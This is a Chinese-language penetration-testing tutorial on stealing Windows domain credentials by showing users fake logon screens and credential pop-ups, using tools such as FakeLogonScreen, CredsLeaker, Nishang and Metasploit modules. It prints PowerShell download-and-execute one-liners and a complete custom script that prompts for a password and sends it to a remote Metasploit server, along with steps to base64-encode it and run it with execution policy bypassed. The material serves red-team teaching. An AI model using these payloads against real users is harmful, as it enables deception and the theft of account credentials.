作者:pentestlab
原文鏈接:https://mp.weixin.qq.com/s/hGYeXAzrE0B5Xk4UpE9P4g

在內網進行橫向移動提權的時候,需要獲取大量用戶的域賬號信息,通常的方式是抓取目標機器上的登錄哈希和密碼,除了這種方式,還可以通過網絡釣魚的方式,欺騙用戶使用憑證輸入到我們偽造的頁面上。

在 Windows 系統環境中,存在許多需要用戶進行身份認證的場景,比如 Outlook 登錄、提升授權(用戶賬戶控制)或者鎖屏需要解鎖時,通過模擬這類場景,很容易讓用戶上當并且不易被發現。

FakeLogonScreen

FakeLogonScreen 是用 C# 編寫的應用程序,可以模擬 Windows 的登錄屏幕來欺騙用戶輸入,從而盜取憑證,下載地址:

https://github.com/bitsadmin/fakelogonscreen

在目標的 meterpreter 會話中,指定該程序:

圖片

該工具能夠顯示當前配置的背景,從而減少有安全意識的用戶發現此惡意操作的風險:

圖片

當用戶在假登錄屏幕上輸入密碼時,他會在 AD 或本地執行驗證,從而保證密碼是正確的,用戶輸入時會將結果打印在控制臺:

圖片

除此之外,還會將結果保存在本地的文件中,可以用下面的命令查看:

type C:\Users\pentestlab.PENTESTLAB\AppData\Local\Microsoft\user.db

圖片

SharpLocker

這個程序也能實現上面的功能,下載地址:

https://github.com/Pickfordmatt/SharpLocker

圖片

每次點擊都將在控制臺上顯示,直到用戶的密碼輸入完成:

圖片

CredsLeaker

Windows 安全輸入提示經常出現,因為在企業環境中,應用程序會定期要求用戶進行身份認證,Microsoft outlook 就是一個經常要求身份驗證的產品,CredsLeaker 就可以模擬 windows 的安全提示窗口,要求用戶輸入憑證,在啟動之前需要將必要文件上傳至 web 服務器,該程序會將結果發送至遠程服務器,然后遠程服務器將收到的結果保存在文本文件中,可以將 Powershell 的命令放在 bat 文件中執行,下載地址:

https://github.com/Dviros/CredsLeaker

圖片

在執行 BAT 文件之前,需要將服務器地址添加到相應的 powershell、php 文件中,執行之后在目標系統上顯示的窗口如下:

圖片

只有當提供的憑據正確時,彈出窗口才會消失。域名、主機名、用戶名和密碼都會寫入到下面的位置:

/var/www/html/creds.txt

圖片

Invoke-LoginPrompt

這個腳本的功能和使用方法與 CredsLeaker 類似,下載地址:

https://github.com/enigma0x3/Invoke-LoginPrompt

憑據將顯示在控制臺中:

powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://10.0.0.13/tmp/Invoke-LoginPrompt.ps1')); Invoke-LoginPrompt

圖片

Invoke-CredentialsPhish

這個是 Nishang 框架中的一個腳本,可用于創建虛假輸入提示符,來收集窗口憑據:

圖片

輸入提示符會攜帶一條說明需要輸入憑據的提示,安全意識比較強的很容易發現問題,并不適用所有企業環境:

圖片

當用戶的憑據輸入時,結果將顯示在控制臺:

圖片

腳本也可以通過遠程調用:

powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://10.0.0.13/tmp/Invoke-CredentialsPhish/ps1')); Invoke-CredentialsPhish

圖片

自定義腳本

首先使用 metasploit 中的 http_basic 模塊設置一個需要基本身份驗證的 HTTP 服務器:

use auxiliary/server/capture/http_basic set URIPATH /

使用下面的 powershell 代碼創建輸入提示符窗口,并將憑據通過 HTTP 請求發送至遠程 Metasploit 服務器,從而獲取憑證:

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName);[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$wc = new-object net.webclient;
$wc.Headers.Add("User-Agent","Wget/1.9+cvs-stable (Red Hat modified)");
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, '');
$result = $wc.downloadstring('http://10.0.0.13/');

為了方便操作,需要將以上代碼轉為 base64,轉換之前需要使用 UTF-16LE 字符編碼,然后再進行 Base64:

cat popup.txt | iconv -t UTF-16LE cat popup.txt | iconv -t UTF-16LE | base64 -w0

圖片

使用下面的命令將 base64 的 payload 執行:

powershell.exe -ep bypass -enc

圖片

Metasploit 獲得的結果如下:

圖片

phish_windows_credentials

這個是 Metasploit 框架中的一個模塊,可以指定創建特定進程時彈出輸入提示窗口,必須制定當前已經連接的 Meterpreter 會話:

use post/windows/gather/phish_windows_credentials set SESSION 3 set PROCESS * run

圖片

通配符 * 指示模塊監視系統上運行的所有進程,只要有新的進程啟動,就會彈出輸入提示框:

圖片

輸入提示框作為該進程需要認證作為提示展示給用戶,要求輸入憑證,如果設置的進程不合理,很容易被人發現異常:

圖片

當用戶輸入憑據時,捕獲到憑證將顯示在控制臺:

圖片

模塊也可以配置為僅用于創建特定進程:

圖片

參考文獻

https://attack.mitre.org/techniques/T1141/

https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/

https://github.com/enigma0x3/Invoke-LoginPrompt

https://github.com/samratashok/nishang/blob/master/Gather/Invoke-CredentialsPhish.ps1

https://github.com/bitsadmin/fakelogonscreen

https://github.com/Pickfordmatt/SharpLocker

https://malicious.link/post/2015/powershell-popups-and-capture/

https://github.com/Dviros/CredsLeaker


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1590/